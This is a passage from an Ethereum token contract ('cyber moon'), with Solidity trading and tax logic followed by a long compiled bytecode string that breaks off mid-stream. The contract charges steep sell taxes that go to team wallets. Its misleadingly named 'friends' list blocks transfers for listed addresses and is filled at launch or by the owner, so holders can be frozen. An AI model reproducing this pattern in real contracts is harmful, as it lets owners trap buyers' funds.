} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600c81526020017f206379626572206d6f6f6e200000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f20434d4f4f4e2000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000f